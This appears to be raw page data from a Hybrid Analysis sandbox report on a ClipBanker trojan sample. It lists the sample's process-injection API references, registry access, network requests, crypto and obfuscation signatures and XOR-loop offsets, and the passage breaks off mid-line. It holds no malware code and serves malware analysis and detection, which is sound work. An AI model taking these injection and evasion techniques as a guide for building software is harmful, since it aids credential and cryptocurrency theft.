24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 73:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4b7,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious IL:Trojan.ClipBanker Sample d77a59decea0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample d77a59decea0…. Malware family: IL:Trojan.ClipBanker. Threat score 100/100. 17/25 AV engines flagged this file. 16 malicious and 28 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","keywords":["Malicious","IL:Trojan.ClipBanker","malware analysis","sandbox report","threat intelligence","d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b"],"about":{"@type":"SoftwareApplication","name":"bounty-8804820186032019","applicationCategory":["peexe","assembly","executable"],"identifier":"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"IL:Trojan.ClipBanker","antivirusDetections":{"malicious":17,"total":25},"behavioralIndicators":{"malicious":16,"suspicious":28},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T775,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "CreateThread Error" (Indicator: "CreateThread"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003572.00000002.84706.0040A000.00000004.mdmp")26:T47b,"BroomSetup.exe" called "FindResourceW" with parameter "789" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "2" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "9" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "3" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "19" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "1001" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "2105" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "10" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "20" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "2107" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "8" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "18" - (UID: 00000000-00004256) "BroomSetup.exe" called "FindResourceW" with parameter "2104" - (UID: 00000000-00004256)27:T8e7,"InstallSetup9.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4477584'}" (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4477488'}" (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadResource with parameter {'hModule': '268435456', 'hResInfo': '268480704'}" (UID: 00000000-00003572) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866360'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864344'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866376'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864360'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866392'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864376'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866408'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864392'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866440'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864424'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866424'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864408'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8866456'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864872'}" (UID: 00000000-00004256) "BroomSetup.exe" called "LoadResource with parameter {'hModule': '4194304', 'hResInfo': '8864840'}" (UID: 00000000-00004256)28:Tabf,Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "MsgWaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp")29:T678,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp, 00000000-00003572.00000002.84706.0040A000.00000004.mdmp")2a:T8e2,Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00002516.00000000.82526.0B880000.00000004.mdmp, 00000000-00002516.00000001.83576.0B880000.00000004.mdmp")2b:Te55,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\COMMAND") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\.EXE\OPENWITHPROGIDS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\.EXE\OPENWITHPROGIDS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\OPENWITHPROGIDS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\OPENWITHPROGIDS") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FILEEXTS\.EXE\USERCHOICE") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\CURVER") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\CURVER") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\PROGID") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\PROGID") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SHELLCOMPATIBILITY\PROGIDS\EXEFILE") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\EXEFILE\SHELL\OPEN\DDEEXEC") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN\DDEEXEC") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\288C47BBC1871B439DF19FF4DF68F076.EXE") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\288C47BBC1871B439DF19FF4DF68F076.EXE") "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\EXEFILE\SHELL\OPEN")2c:T6a3,Contains base64 string in header "NSIS" in header "GET /?format=dfg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "GET /?format=dfg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /?format=dfg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: api.ipify.orgConnection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /r/r4.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "/we1/4y3jdVkomeg" in header "GET /we1/4y3jdVkomeg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "Keep" in header "GET /we1/4y3jdVkomeg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "User" in header "GET /we1/4y3jdVkomeg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog" Contains base64 string in header "goog" in header "GET /we1/4y3jdVkomeg.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: c.pki.goog"2d:T48e,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to utilize the Windows bcrypt cryptographic API Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Able to decode string content at runtime (.NET) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - Compress data using CryptoPP library2e:T11e78,Found XOR loop in file "BroomSetup.exe" at offset 183152; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 1398424; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 2277228; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 3174453; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 3981781; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4215979; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4245459; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4251701; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4260243; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4264477; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4265025; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4271407; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4271957; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4273515; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4274021; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4279917; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4280775; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4284139; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4288461; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4290757; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4291873; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4297089; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4300237; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4304883; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4313819; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4319369; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4320045; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4322943; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4323589; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4324945; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4333207; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4338377; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4352667; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4356527; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4357111; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4359663; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4360203; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4369085; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4374163; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4376541; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4377281; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4380581; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4381685; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4382305; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4386127; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4395379; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4398571; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4404639; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4412133; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4425135; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4427849; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4435905; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4440201; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4442039; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4445249; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4448235; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4450563; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4453889; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4457403; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4460219; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4460969; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4467047; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4471467; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4474225; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4482825; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4489837; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4491907; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4498605; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4503451; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4505491; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4507535; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4509567; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4511595; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4513603; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4515581; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4520079; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 4521503; code bytes = 30d0 Found XOR loop in file "BroomSetup.exe" at offset 207330; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 751110; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 751176; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 751734; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 751800; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 752048; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 752102; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 2969433; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4223551; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4225721; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4250745; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4257353; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4258403; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4284487; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4301381; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4304513; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4360263; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4371529; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4378617; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4390005; code bytes = 33c1 Found XOR loop in file "BroomSetup.exe" at offset 4394975; code bytes = 33c1 Found XOR loop in file 